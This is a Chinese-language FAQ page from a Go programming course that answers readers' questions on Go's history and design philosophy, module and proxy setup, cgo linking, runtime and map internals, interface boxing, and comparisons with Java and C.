如果富有余力，可以采用“同主题阅读”方法，即确定一个主题，可以以专栏某一讲为主题，然后找几本相关内容的书籍同时阅读，这样可以对这个主题有更深入的了解和认识。建议看一下Go语言的规范、《Go程序设计语言》这样的权威资料。\n如果想加快学习和理解的节奏，建议通过预习方式来进行。本专栏的大纲已经公开，可根据大量中的题目，预习一下后续几节课的\n内容，带着问题去阅读专栏，可能学习效果更好。\n专栏课程相关源码从哪里可以下载到？ 下面为专栏源码专用仓库地址：\ngithub仓库 – https://github.com/bigwhite/publication/tree/master/column/timegeek/go-first-course\n码云仓库 -https://gitee.com/bigwhite/publication/tree/master/column/timegeek/go-first-course\n三. 入坑Go与Go前景 什么样的人适合学Go语言？ Go设计之初，其目标是成为一门通用的系统编程语言。这一目标基本上就将Go划分到后端编程语言行列。虽然Go社区在前端、移动端编程的支持上面都做了很多尝试，比如：Gopherjs项目以及Go支持编译为webassembly来应对前端开发，再比如Gomobile项目（https://pkg.go.dev/Golang.org/x/mobile）让Go也可以在移动端编程占有一席之地，但这么多年下来，Go的主力战场还是云原生基础设施、中间件、web/api服务、微服务、命令行应用等等。因此如果你的目标与这些领域重合，那么Go是一个很有竞争力的选择。\n请问中小公司中的Go语言技术栈的岗位多吗？ Go是生产力与执行效率两方面都有突出表现的语言。这两方面都能给中小公司省下不少money。一线城市接纳新语言的开发者较多，招聘也不再是问题了。因此我觉得一线城市应该不少，这方面具体数据还得看招聘网站。二三线城市这些年Go也在拓展地盘。在我地处的东北地区，越来越多小公司选用了Go，趋势是好的。\n希望老师能说一下Java和Go的区别？ 这是很大的话题，也是一个极容易“引战”的话题。\n看待这个问题有多种维度，比如从语言语法、生产力、性能、社区活跃度，生态成熟度、发展前景等等。\n语言语法见仁见智，java是不折不扣的面向对象编程语言，就像“java编程思想”一书中说：“一切都是对象”。而Go是传统的命令式编程语言，按照Go语言family图谱，它的先祖来自C、Pascal、Newsqueak等。语法简单，但谈不上“领先”，就像很多人说的在最近10年出品的编程语言中，Go的语法显得有些“土气”，我更喜欢称之为朴实无华。很多人就像我，就是喜欢这种朴实。虽然朴实，但Go的表达力并不差哦。\n在生产力方面，目前来看Go是要高于java的。\n性能方面，同资源消耗下，Go也是要高于java的。另外一点就是即便是新手写Go，性能也不会很差。\n社区活跃度方面，两者都是主流语言，java诞生年头多，且是目前企业应用领域的第一语言，其社区自然更好一些。生态成熟度也是如此，现在很难找到一个领域没有java的开源实现。实话说，Go在这方面规模还不及java，但是增长速度要更快。\n至于，发展前景，两者都是自己擅长领域的佼佼者，都有不错的前景。Go由于处于成长期，蓝海属性更强一些。\nGo在机器学习算法包括工程这一块前景如何？ 这个要实话实说。在机器学习领域，python是当之无愧的老大。但python也有自己的瓶颈，主要是性能相较于静态语言有数量级差距。各个编程语言也都试图争抢python在机器学习领域的份额，包括julia、c++、rust，Go也不例外。但与在云原生领域的投入相比，Go社区在机器学习算法库方向上的投入还不够，但也有一些成果，比较知名的项目包括Gonum、GorGonia、onnx-Go等。在帮助构建机器学习/深度学习平台层面上，Go也发挥了很大的作用，比如：kubeflow的部分实现。\n机器学习算法上，python已经形成一家独大之势，其他语言，包括Go都会在自己擅长的领域一起助力机器学习的发展了。\nGo在区块链方向应用广吗？ Go在区块链领域应用应该很多啊，至少区块链刚刚起步时，很多都是用Go开发的。比如联盟链fabric。以太坊已经足够Gopher学习好长时间了。另外像ipfs、filecoin等项目虽然不是典型区块链项目，但很多技术点都很相似，也可以了解一下。\n为什么那些跟云相关的项目，比如docker k8s等项目都选择用Go来开发？ Docker开发团队是最早接纳Go语言的一批创业团队，2013年docker团队的工程师在一次Go分享中提到过选择Go的5个理由：静态编译、语言中立(neutral)、有docker团队所需的所有feature、完整的开发环境、对多cpu架构的原生支持。具体可以看一下“Docker and Go: why did we decide to write Docker in Go?”。\n至于k8s，k8s原本就是google borg的开源实现，go是google当时的新兴语言。而k8s最初的开发主力都是google的，于是选择go也就不奇怪了。\n此外，CNCF聚集了以k8s为首的一大批Go语言实现的云基础设施相关项目，这种示范作用也鼓舞了更多云相关项目使用Go开发。\n四. Go的历史与哲学 有人吐槽 Go 核心人员不想做的东西，就是 Less is more，自己想做就是各种哲学，这个问题，老师怎么看？ Go语言的简单或者说功能特性少，的确来自于less is more的理念。保持一门小语言，让语言更容易学习与理解。同时每个特性都是经过精心打磨与实现，不能再少了。上周我看了Rob Pike最新一期的talk，他还在说 “Go语言中变量声明的方式有些多了”，这也是我在实际编码过程中的体会。如果重新来过，我想Rob Pike会更彻底的执行less is more，将变量声明方式再减少一种。所以说，特性少不是不想做，而是经过深思熟虑，那个特性的确没必要加入到语言中。\nGo的异常处理，使用起来简单，但是不方便，请问老师这是在践行Go的简单设计哲学吗？ 从Go设计者的初衷来看(https://golang.google.cn/doc/faq#exceptions)，Go没有采用像java那样的结构化异常处理的确是出于对“简单”原则的考虑。\n在java中错误处理与真正的“异常”是混杂在Try-catch机制中的，并没有明显的界限，无论是错误还是异常，一旦throw，方法的调用者就得负责处理它。\n但在Go中，错误处理与真正的异常处理是严格分开的，也就是说不要将panic掺和到错误处理中。\n错误处理是常态，Go中只有错误是返回给上层的。一旦出现panic，这意味着整个程序处于即将崩溃的状态，返回给上层几乎也是“无济于事”，所以在Go中，一个常见的api设计思路是：不要向外部抛出panic（don’t panic!）。如果api中存在panic的可能性，那么api自己要负责处理panic，并通过error将状态返回给上层。如果api无法处理panic，那程序就很大可能是要崩溃了，这种panic多是因为程序bug导致的。\nGo的统一代码有利的地方是：保证了开发者的编码风格是一致的，增加了代码的可读性。但这会不会对一些高手来说是一个限制呢？ Go面向工程的设计哲学鼓励复杂软件开发的大协作，Go不鼓励“奇技淫巧”，在Go中做一件事一般只有一种方法。所以我们看到的高手编写的开源项目或是标准库，代码绝大多数都是很容易读懂的。\n什么是Go的自举？ 和很多主流语言一样，Go语言编译器最初都是由C语言和汇编语言实现的。C语言和汇编实现的Go编译器(记作A)用来编译Go源文件。那么问题来了？是否可以用Go语言自身实现一个Go编译器B，用编译器A来编译Go编译器B工程的源码并链接成最终的Go编译器B呢？这就是Go核心团队在Go 1.5版本时做的事情。\n他们将绝大多数原来用C和汇编编写的Go编译器以及运行时实现改为使用Go语言编写，并用Go 1.4.x编译器(C与汇编实现的，相当于A)编译出Go 1.5编译器。这样自Go 1.5版本开始，Go编译器就是用Go语言实现的了，这就是所谓的自举。即用要编译的目标编程语言(Go语言)编写其（Go）编译器。\n这之后，Go核心团队基本就告别C代码了，可以专心写Go代码了。这可以让Go核心团队积累更为丰富的Go语言编码经验，也算是一种“吃狗粮”。同时Go语言自身就是站在C语言等的肩膀上，修正了C语言等的缺陷并加入创新机制而形成的，用Go编码效率高，还可避面C语言的很多坑。\n在这个基础上，使用Go语言实现编译器和runtime还利于Go编译器以及运行时的优化，Go 1.5及后续版本GC延迟大幅降低以及性能的大幅提升都说明了这一点。这就是自举的重要之处。\n文中提到的正交独立是什么意思？不是很理解？ 正交(orthogonality)是从几何学中引入的术语，如果两条线以直角相交，如图形上的轴线，就是正交的。如果说两个事物是正交的，那么我们说\n这两个事物是独立且解耦的，一个事物的变化不影响另外一个事物。\n我们经常用“正交”来评价一个系统的设计，比如在一个设计良好的系统中，数据库代码将与用户界面正交：你可以在不影响数据库的情况下，独立进行界面的演进。\n编程语言的语法元素间也存在着正交的情况，比如文中提到的类型定义与方法是正交的。这意味着一个类型可以有方法，也可以没有方法。而方法本质上接收类型作为其第一个参数的函数而已(具体参考第24讲)。\n在Go语言中，正交的语法还有一些，比如接口就与Go语言其他部分是正交的。\n但正交的两个语法特性组合起来可以实现其它特性，这也是我们在一个系统中经常做的事情。\n《程序员修炼之道 – 从小工到专家》一书中对正交的概念有详细的讲解，可以阅读一下。\n五. Go开发环境安装 关于gotip版本和beta版本 很多初学者不知道gotip版本的存在，gotip指代就是目前Go核心团队正在积极开发的项目最新提交版本，因此gotip时刻在变化。当我们通过go get/Go install(Go 1.17及以后版本)方式安装go-tip版本时，go get其实也是下载Go项目最新源码，然后编译这份源码。如果某个Go核心开发者提交一次代码恰好导致Go tip源码编译不过去，而你下载的恰恰是这个时刻的Go tip源码，那你的Go tip安装自然就会因build失败而失败。这也是我提到的gotip版本不是每次都能安装成功的原因。\nbeta版本是大版本发布之前的公测版。比如发布go 1.17正式版之前，go团队会发布几个beta版本供大家体验并提bug。注意：beta版也是不稳定版本，不要用来编译上生产的应用\nGo env里面的配置项究竟是存储在哪儿的？网上有说是生成Go 命令（Go语言的的编译工具）时，直接包含在其中了，也有说是在一个和用户相关的配置文件夹里面，还有的说是来自系统环境变量，那这三种来源的优先级是怎么样的？ Go env的确会综合多个数据源。优先级最高的是用户级环境变量。以linux为例，你的用户下的.profile文件中的环境变量优先级最高。然后是系统级环境变量（但我们很少在linux下用系统级环境变量），最后是Go自带的默认值。\n六. Go程序构建 如何import自己在本地创建的module，在这个module还没有发布到GitHub的情况下？ go module机制在您提到的工作场景下目前的体验做的还不够好。在Go 1.17版本及之前版本的解决方法是使用go mod的replace指示符(directive)。假如你的module a要import的module b将发布到github.com/user/b中，那么你可以手动在module的go.mod中的require块中手工加上一条：\nrequire github.com/user/b v1.0.0 注意v1.0.0这个版本号是一个临时的版本号。\n然后在module a的go.mod中使用replace将上面对module b的require替换为本地的module b:\nreplace github.com/user/b v1.0.0 =\u0026gt; module b本地路径 这样Go命令就会使用你本地正在开发、尚未提交github的module b了。\nGo应用项目源码还需要放在gopath的src下么？ go module与gopath的一个重要区别就是可以将项目放在任意路径下，而无需局限在$GOPATH/src下面。我之所以将一个module放在一个任意路径下，就是故意要与GOPATH模式区分开的。\ngo.mod中的module path必须是github.com/user/repo这样的形式么？ 专栏例子中使用github.com/user/repo这个样式作为module path是因为多数实用级module多是要上传到github上的。用这种示例便于后续与真实生产接驳。但对于本地开发使用的简单示例程序而言，module path可以任意选用，比如：\n// go.mod module demo1 Go 1.17 也是ok的。\nmodule path有三个作用，大家可根据需要作出module path的选择：\na) 定位代码仓库位置。如果你的代码要开源到一些公共代码托管站点，或者在组织内部的代码仓库时，module path中要带上仓库的地址，比如github.com/repo/module，这样依赖你的module的其他代码可以找到你的module代码；\nb) 如果你的module不在repo的根路径下，那么在module path中还要包含子目录路径。以github.com/etcd-io/etcd这个仓库为例。这个仓库下管理着多个go module。以其子目录raft下面的module为例，这个module的path为：module go.etcd.io/etcd/raft/v3。其中的raft就是子路径。\nc) major版本号。如果major\u0026gt;=2，需要在module path中加上major号后缀，就像上面的module go.etcd.io/etcd/raft/v3。\ngo get或go mod tidy下载的go module缓存在哪里了？ go mod tidy下载的第三方module一般在$GOPATH[0]/pkg/mod下面。这里的GOPATH[0]指的是GOPATH环境变量设置的多个路径中的第一个路径，比如说：如果GOPATH的设置如下：\nexport GOPATH=path1:path2:path3 那么下载的第三方module就会被缓存在path1/pkg/mod下面。\n如果你没有设置GOPATH环境变量也没关系，而且这不是必须的步骤。gopath的默认值为你的home路径下的Go文件夹。这样第三方包就在$HOME/Go文件夹的pkg/mod下面。\nGo 1.15版本开始，Go提供了GOMODCACHE环境变量用于自定义module cache的存放位置。如果没有显式设置GOMODCACHE，那么module cache的默认存储路径依然是$GOPATH[0]/pkg/mod。\n是否需要深入了解gopath Go官方有移除gopath的打算。目前这个时间点，学习Go基本不需要了解太多gopath了。\n有没有推荐的免费好用的国内module proxy服务？ 我个人最常用的是下面这个proxy服务：\nexport GOPROXY=https://goproxy.cn,direct 其他的几个proxy服务也应该都很好用：\nexport GOPROXY=https://goproxy.io,direct export GOPROXY=https://mirrors.aliyun.com/goproxy,direct export GOPROXY=https://goproxy.baidu.com,direct 以上代理除了通过环境变量配置外，还可以用go env命令写入，以阿里的module proxy为例：\n$Go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/ 如何拉取私有go module？ 这个属于稍高级一些话题，这门课尚不会涉及。之前写过一篇有关拉取私有module的文章可以参考。\n什么是可重现构建(Reproducible Build)？ 可重现构建，顾名思义，就是针对同一份go module的源码进行构建，不同人，在不同机器(同一架构，比如都是x86-64)，相同os上，在不同时间点都能得到相同的二进制文件。\ngo.mod文件中能表述依赖的module信息吗？go.mod文件中的内容一般不都是依赖的第三方包和版本吗？ 在go module机制进入Go之前，也就是gopath构建模式时代，我们谈到的所有依赖都是包与包的版本；但go module引入后，所有的版本信息都绑定在module上，所以你在go.mod中看到的require块中的依赖都是module与module的版本，不再是包。\nGo团队认为“最小版本选择”为Go程序实现持久的和可重现的构建提供了最佳的方案” 这句话能展开讲讲吗？ 对开发者而言，更易于理解和预测，就像课程中例子那样，我们根据依赖图可以很容易确定程序构建最终使用的依赖版本。\n对Go核心团队来说，更容易实现，据说实现最小选择的代码也就几十行。\n更重要的是最小版本选择更容易实现可重现构建。试想一下，如果选择的是最大最新版本，那么针对同一份代码，其依赖包的最新最大版本在不同时刻可能是不同的，那么在不同时刻的构建，产生的最终文件就是不同的。\n当然这一切的前提都是基于语义版本规范，对于不符合规范的module，相当于没有遵守契约，这套规则也就失效。这对任何语言来说都是一样的。\n在包依赖引用那一节，您说的是A和B依赖C的v1.1.0和v1.3.0版本，这种版本依赖很好理解。但是按照上述的V1和V2不同的原则，如果现在B依赖的不是v1.3.0而是v2.3.0，那我现在项目里引用的C到底是哪个版本？ 如果B依赖的是C v2.3.0，那么B导入C的语句就是 import c/v2，而A依赖的是v1.1.0，那么A导入c的语句就是import c，这两个是可以共存的啊。于是你会在go.mod中既看到c v1.1.0，也有c/v2 v2.3.0，它们可以理解为两个不同的module。\n我用ldd看了几个go编译出来的二进制程序都是没有动态链接库的使用。但是，在看其他几个go编译出来的二进制程序时（比如 containerd、ctr)，它们都是用go编写的，但又有引用动态链接库，这是为什么呢？ Go默认是开启CGO_ENABLED的，即CGO_ENABLED=1(可通过go env命令查看)。但编译出来的二进制程序究竟有无动态链接，取决于你的程序使用了什么包。\n如果就是一个打印“hello，world”的Go程序，那么你编译出来的将是一个纯静态链接程序，启动时无需动态链接。\n如果你依赖了网络包或一些系统包，比如用http包编写了一个web server(见第9讲示例），那么你编译出来的二进制程序将会是一个包含动态\u0026gt;链接的程序。\n原因就在于目前的Go标准库中，某些功能具有两份实现，一份是C语言实现的，一份是Go语言实现的。在CGO_ENABLED=1的情况下，Go链接器会链接C语言的版本，于是就有了依赖动态链接库的情况。如果你将CGO_ENABLED置为0，你再重新编译链接，那么Go链接器会使用Go版本的实现，\n这样你将得到一个没有动态链接的纯静态二进制程序。\n更多关于Go静态编译还是动态编译的内容，可以参考我的Go进阶专栏中的文章《与C互操作不是免费的！一文了解cgo的使用成本》。\njava有maven，rust有cargo，js有npm并且它们都有集中可访问的repository，为何Go语言没有这样的一个集中包仓库？ Go的确没有，且也是故意这么设计的。很多人提到Go团队故意忽视了软件工业过去20年的积累，但从Go团队角度来看，这却是他们的一种解决安全风险的方案。可以看看Go官博上的这篇文章：《Go是如何缓解供应链攻击的》。\n从2021-2022年来，npm暴露出的一系列安全问题来看，集中库的确也存在各种各样的问题。\n文中提到“这是因为下划线这种分隔符，在 Go 源文件命名中有特殊作用，这个我们会在以后的讲解中详细说明” 请问老师下划线的特殊作用是用于测试文件(xxx_test.go)吗？我在后续的章节没看到这个特殊作用的讲解(可能是我没有注意到这个细节)？ 这位读者真是非常细心！真不好意思，这个他并没有看错。最初考虑将单元测试相关内容放在后面讲解中，后来取消了，于是这块”特殊作用”的讲解就“没能成行”。\n这里简单补充一下：在Go中我们针对包（package）编写测试代码。测试代码与包代码放在同一个包目录下，并且Go要求所有测试代码都存放在以*_test.go结尾的文件中。这使Go开发人员一眼就能分辨出哪些文件存放的是包代码，哪些文件存放的是针对该包的测试代码。\n执行单元测试时，go test命令会将所有包目录下的*_test.go文件编译成一个临时二进制文件（我们可以通过go test -c显式编译出该文件），并执行该文件，后者将执行各个测试源文件中的名字格式为TestXxx函数所代表的测试用例并输出测试执行结果。\n当然go不仅有_test这样的后缀，还有以os、cpu架构名为特殊中缀和后缀的文件，比如：signal_linux_amd64.go(Go runtime包下的文件)。文件名中的linux、amd64用于限制该文件参与编译的os和平台。以signal_linux_amd64.go为例，该文件仅在linux x86-64平台上才会参与编译。\n七. Go语法 什么是Go运行时？ Go 运行时，也称为Go runtime。\n它在那里？其本身就是每个Go程序的一部分，它会跟你的源码一起编译并连接到目标程序中。即便你只是写了一个hello world程序，这个程序中也包含了runtime的实现。\n它在我的程序中具体负责什么？runtime负责实现Go的垃圾收集、并发、内存堆栈管理以及Go语言的其他关键功能。\n它的代码在哪里？它大部分以标准库的形式存放在每个Go发布版的源码中。\n包的空导入有什么作用？ 像下面代码这样的包导入方式被称为“空导入”：\nimport _ \u0026quot;foo\u0026quot; 空导入也是导入，意味着我们将依赖foo这个路径下的包。但由于是空导入，我们并没有显式使用这个包中的任何语法元素。那么空导入的意义是什么呢？由于依赖foo包，程序初始化的时候会沿着包的依赖链初始化foo包，我们在08里会讲到包的初始化会按照常量-\u0026gt;变量-\u0026gt;init函数的次序进行。通常实践中空导入意味着期望依赖包的init函数得到执行，这个init函数中有我们需要的逻辑。\n老师，每个文件的包名怎么命名？根据目录来吗？ 包名可以任意命名，没有限制，但社区公认的好的包名通常为一个小写单词。一个目录下仅允许存放一个包。通常一个优秀的实践\n是包名与目录名相同。但也有很多项目没有遵守这个约定俗成的规则。\n专栏中经常提到“字面值”？怎么理解字面值的含义呢？ 字面值(literal)就是源码中的一个固定的值，它直接写在源码中，不可变，且不需经过任何计算我们就能从字面上看出其“值”。在编程语言中，通常一个字面值都可以从其字面上大致推断出其类型。另外字面值可以用于初始化变量，也可以作为常量的值。\n老师，同一个包内有多个源文件的话，这个包是将所有源文件的常量、变量、init函数汇集到一起，然后按常量-\u0026gt;变量-\u0026gt;init这样的顺序进行初始化，还是按每个源文件走一遍“常量-\u0026gt;变量-\u0026gt;init”这样的顺序？ 我在macbook pro go1.17版本下的实测情况是Go会先按文件传入的顺序，分别初始化每个文件常量与变量，然后再分别调用各个文件中的init函数。比如说：如果一个包pkg1有两个文件file1.go和file2.go，那么实测的初始化顺序就是：“file1中的常量 -\u0026gt; file1中的变量 -\u0026gt; file2中常量 -\u0026gt; file2中变量 -\u0026gt; file1中init函数 -\u0026gt; file2中init函数”。\n老师，怎么理解“协作式”、“非协作式”调度呢？ 协作式指的是大家都按事先定义好的规则来，比如：一个goroutine执行完后，退出，让出p，然后下一个goroutine被调度到p上运行。这样做\n的缺点就在于是否让出p的决定权在goroutine手里。一旦某个goroutine不主动让出p或执行时间较长，那么后面的goroutine只能等着，没有方法让前者让出p，导致延迟甚至饿死。\n而非协作就是由go runtime来决定一个goroutine运行多长时间，如果你不主动让出，对不起，我有手段可以抢占你，把你踢出去，让后面的goroutine进来运行\nGo语言的goroutine与传统的coroutine(协程)是不是一个东西？ 传统理解的coroutine一般是面向协作式，而非抢占式。像python中通过yield关键字创建的协程，与主routine之间是在一个线程上实现的切换执行，从设计角度是通过coroutine实现了并发(concurrency)，但其实它们还是串行执行的，不会真正并行(paralellism)，即便在多核处理器上。\n基于上面的理解，我们就可以意识到goroutine并非传统意义上的coroutine，是支持抢占的，而且也必须依赖抢占实现runtime对goroutine的调度\n。它更像thread，可以绑定不同的cpu核并行执行（如果是在多核处理器上的话）。同时基于goroutine的设计也会一种并发的设计。\n而goroutine与thread又不同，goroutine是在用户层(相较于os的内核层）调度的，os并不知道其存在，goroutine的切换相对轻量。而thread是os\n来调度的，切换代价更高一些。\n所以在专栏中要么直接用goroutine，要么将goroutine称为“轻量级线程”，而不是协程(coroutine)。\n请教老师，接口类型装箱过程为什么普遍要把原来的值复制一份到data？（除了staticuint64s等特例）直接用原来的值不行吗，还能提升点性\n能？ 好问题！假设按照你说的，接口类型装箱时中直接用原先的值，那么由于不同类型的原值大小不一，interface类型在runtime中的表示一定是采用(type, ptr)的二元组，而ptr指向的是原值的地址。这样的情况下，看个例子：\nfunc foo(i interface{}) { i.(int) = 8 } var a int = 6 var i interface{} = a i.(int) = 7 println(a) // a = 7 这似乎还说得过去。 但是如果将i传递给上面的函数foo：\nfoo(i) foo对i的修改将都反映到a上：\nprintln(a) // a = 8\n这样依赖就与Go参数传递值拷贝的语义有悖。\n突然想到一个问题，为什么很多语言都选择默认值传递方式。比如 c，python，go，java 都是值传递。 请教老师默认值传递的好处是什么，为什么这些大佬设计语言时不默认为引用传递。值传递要copy数据不是麻烦了吗？ 好问题！引用传递其实本质也是值传递，只是传递的是指针/地址或像切片这样的“描述符”。\n老师，Go团队为什么要故意把map的遍历次序设置为随机？ 这一话题要追溯到Go 1.0版本发布的时候，从Go 1.0版本的发布文档中，我们能找到如下内容：\nThe old language specification did not define the order of iteration for maps, and in practice it differed across hardware platforms. This caused tests that iterated over maps to be fragile and non-portable, with the unpleasant property that a test might always pass on one machine but break on another. In Go 1, the order in which elements are visited when iterating over a map using a for range statement is defined to be unpredictable, even if the same loop is run multiple times with the same map. Code should not assume that the elements are visited in any particular order. This change means that code that depends on iteration order is very likely to break early and be fixed long before it becomes a problem. Just as important, it allows the map implementation to ensure better map balancing even when programs are using range loops to select an element from a map. 翻译过来，大致意思就是：1.0版本之前的语言规范中没有规定map的迭代次序，从而导致在实践中的一些糟糕的开发运行体验。于是Go团队选\n择故意在map中加入随机迭代功能，这样一旦出现开发人员依赖key迭代顺序的错误行为，这一行为导致的问题在开发和测试早期就能被及时发现，而不会出现在生产运行环境中导致更大的危害。\nc语言借助宏定义字面值的形式作为常量类型具有不安全性，这个不安全性怎么理解呢？ 这里的不安全性主要指类型安全。\n我们需要先说一下什么是类型安全。类型安全是一个计算机科学中的概念，主要指编程语言阻止或防止类型错误的程度水平。比如将一个字符串类型变量传递给一个接受int类型参数的函数时，语言编译器是否能检测出问题并尽早阻止问题发生。\n如果你学过C语言，你就知道宏是在预处理阶段仅仅是做的字符串替换。也就是说宏定义的所谓常量就是一个“字符串”，没有携带任何类型信息，即便对一个函数原型为int Foo(int num)的函数进行如下调用：\n#define NUM \u0026quot;5\u0026quot; void Foo(int num) { printf(\u0026quot;num = %d\\n\u0026quot;, num); } int main() { Foo(NUM); } 调用中的NUM在预处理阶段被替换为”5″，但预处理过程也不会有任何报错，因为预处理阶段没有“类型”的概念。\n这样问题就被漏到了编译期间。编译器是否能捕捉到这个问题？不一定。在我的gcc上会给出warning：。\n$gcc testmacro.c testmacro.c:12:7: warning: incompatible pointer to integer conversion passing 'char [2]' to parameter of type 'int' [-Wint-conversion] Foo(NUM); ^~~ testmacro.c:5:15: note: expanded from macro 'NUM' #define NUM \u0026quot;5\u0026quot; ^~~ testmacro.c:7:14: note: passing argument to parameter 'num' here void Foo(int num) { ^ 1 warning generated. 但是如果程序员忽略warning，这部分错误就会留到 程序运行期间。\n运行这个例子：\n$a.out num = 62984116 问题最终还是发生了。\n但在Go中，这种问题是不会发生的，任何类型不匹配的问题都会被Go编译器以“错误”论处！\nhmap这个结构中的extra字段， 在key和value都不是指针的情况下，会存储所有的overflow bucket的指针。什么当key和value都不是指针的情况下，会将bucket中的overflow指针全部放到extra字段存储？ 在Go项目源码(Go 1.17版本)的 src/cmd/compile/internal/reflectdata/reflect.go中：\nfunc MapBucketType(t *types.Type) *types.Type 这个函数实现中，我们可以勾勒出一个bucket桶的结构：\n//伪代码 type bucket struct { tophash keys values overflow pointer } 不过这个overflow pointer有两种情况：\n// If keys and elems have no pointers, the map implementation // can keep a list of overflow pointers on the side so that // buckets can be marked as having no pointers. // Arrange for the bucket to have no pointers by changing // the type of the overflow field to uintptr in this case. // See comment on hmap.overflow in runtime/map.go. otyp := types.Types[types.TUNSAFEPTR] if !elemtype.HasPointers() \u0026amp;\u0026amp; !keytype.HasPointers() { otyp = types.Types[types.TUINTPTR] } 当key和value中都没有指针时，比如map[int]int。此时考虑到gc优化，编译器将overflow的类型设置为uintptr，这样就可以将bucket分配到无需gc扫描的mem span中。\n但uintptr是一个整型，无法被GC识别，这样一来overflow 整个uintptr指向的overflow bucket就没有指向它的指针，这样gc就会将overflow bucket视为unreachable的mem块而将其gc掉。为了避免这种情况，hmap中的extra此时就会指向上面这类bucket的overflow bucket，保证key和value中都不含指针时，overflow bucket依旧可以不被gc。\n为啥说type M map[int]string、type S []string 这种是根据类型字面值定义来新类型呢？ map[int]string 和[]string 也是一种复合类型，感觉并不是字面值？ map[int]string、[]string这种由已知类型组合而形成的类型被称为type literal，中文译为“类型字面值”, 这个是引用自go语法规范中的术语。go spec原文：”A type may also be specified using a type literal, which composes a type from existing types.” (go 1.19版本)\nTypeLit = ArrayType | StructType | PointerType | FunctionType | InterfaceType | SliceType | MapType | ChannelType . 八. Go程序设计 专栏中提到的“一动一静共同构成了Go 应用程序的骨架”中的一动一静指的是什么？该如何理解 关于“一动一静”，“动”主要指程序的并发设计层面，如何设计去管理和控制Goroutine。当程序运行起来后，真正“动”的是一个一个Goroutine。而“静”，则是Go源码中的实体以及它们之间的耦合关系。\nGo方法的本质是一个以方法的 receiver 参数作为第一个参数的普通函数函数是第一等公民，那大家都写函数就行了，方法存在的意义是啥呢？ 我可以将其转换为另外一个几乎等价的问题：我们知道c++的方法(成员函数)本质就是以编译器插入的一个this指针作为首个参数的普通函数。那么大家为什么不直接用c的函数，非要用面向对象的c++呢？\n其实你的问题本质上是一个编程范式演进的过程。Go类型+方法(类比于c++的类+方法)和OO范式一样，是一种“封装”概念的实现，即隐藏自身状态，仅提供方法供调用者对其状态进行正确改变操作，防止其他事物对其进行错误的状态改变操作。\n九. Go标准库 printf 能格式化字符串，换行就要手动添加 “\\n”，println 又不能格式化字符串。我想知道为什么要这样的设计？在看我来这就是特别反人类的设定，Rust 的 println!(“{}”, a); 才是符合直觉的。 这个问题我是这么看的，printf是go提供的标准格式化io的函数，它能实现你所期望的所有功能。与c语言的printf是对等的。但println这个函数你可以看成是一种“语法糖”，它本身就是一个特例，你可以用go doc看看println的manual，println原语义就是使用一种默认的格式输出数据到stdout上。你认同这种默认格式，你就使用println，简化你的代码。否则，你就用printf就好了。\nListenAndServe的第二个参数为什么要定义成接口类型？如果定义成函数类型，不就可以不用强转，直接传入了吗？ 首先http包的ListenAndServe函数的第二个参数较少使用，一般传递为nil。这就意味着默认使用Handler为http包的DefaultServeMux。\n其次，将ListenAndServe函数的第二个参数设置为接口类型，就是为了扩展所需的。\n如果第二个参数只是一个函数类型，那么那些与http.Server配套的Mux、middleware等就很难实现了。现在的各种Mux、middleware都是基于Handler这个接口类型实现的。\n十. Go工具链与工程实践 谈谈支持Go的VS Code的Copilot插件 copilot插件我还没体验过，如果真的如你所言那么强大，那也是Go语言和Go开发者的一大幸事\n十一. 其他 命令式语言一般是指哪些语言呢？ 所谓“命令式语言”是英文imperative languages的一种翻译。命令式的语言的一个特点就是程序员要完成是一件事，需要自己一步一步告诉机器如何做，即把执行步骤用编程语言的语法罗列出来。如今主流的编程语言，如c, c++, java, go, python, ruby等，无论是否是静态语言还是动态语言，无论是否支持面向对象编程，本质上都是命令式语言。\n那什么不是命令式语言呢？与命令式语言相对的是声明式语言，最常见的就是SQL，它的特点是你只要给出你想要的，语言引擎知道该执行什么步骤。历史上还有一种叫prolog的逻辑编程语言也是声明式的，如果对prolog感兴趣，可以看看我参与翻译的《七周七语言》一书。\n对29讲中的一个示例输出结果的疑问 问题详情：\neif: (0x10b38c0,0x10e9b30) err: (0x10eb690,0x10e9b30) eif = err: true eface: {_type:0x10b38c0 data:0x10e9b30} _type: {size:8 ptrdata:0 hash:1156555957 tflag:15 align:8 fieldAlign:8 kind:2 equal:0x10032e0 gcdata:0x10e9a60 str:4946 ptrToThis:58496} data: bad error iface: {tab:0x10eb690 data:0x10e9b30} itab: {inter:0x10b5e20 _type:0x10b38c0 hash:1156555957 _:[0 0 0 0] fun:[17454976]} inter: {typ:{size:16 ptrdata:16 hash:235953867 tflag:7 align:8 fieldAlign:8 kind:20 equal:0x10034c0 gcdata:0x10d2418 str:3666 ptrToThis:26848} pkgpath:{bytes:\u0026lt;nil\u0026gt;} mhdr:[{name:2592 ityp:43520}]} _type: {size:8 ptrdata:0 hash:1156555957 tflag:15 align:8 fieldAlign:8 kind:2 equal:0x10032e0 gcdata:0x10e9a60 str:4946 ptrToThis:58496} fun: [0x10a5780(17454976),] data: bad error 请问为什么data会是bad error不应该是5吗？\n解答：\n为什么输出bad error而不是5，是因为我们的dumpT函数的实现：\nfunc dumpT(dataOfIface unsafe.Pointer) { var p *T = (*T)(dataOfIface) fmt.Printf(\u0026quot;\\t data: %+v\\n\u0026quot;, *p) } 这里的Printf使用了%+v。\n在标准库fmt包的manual（https://pkg.go.dev/fmt）中有，当verb为%v时，如果操作数实现了error接口，那么Printf将会调用这个操作数的Error方法将其转换为字符串。 原文：If an operand implements the error interface, the Error method will be invoked to convert the object to a string.\n所以这里输出的是bad error。\n可以再举一个简单的例子：\npackage main import \u0026quot;fmt\u0026quot; type T int func (t T) Error() string { return \u0026quot;bad error\u0026quot; } func main() { var t = T(5) fmt.Printf(\u0026quot;%d\\n\u0026quot;, t) // 5 fmt.Printf(\u0026quot;%v\\n\u0026quot;, t) // bad error } ","permalink":"https://tonybai.com/go-course-faq/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-first-course/faq.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/go-course-faq\"\u003ehttps://tonybai.com/go-course-faq\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 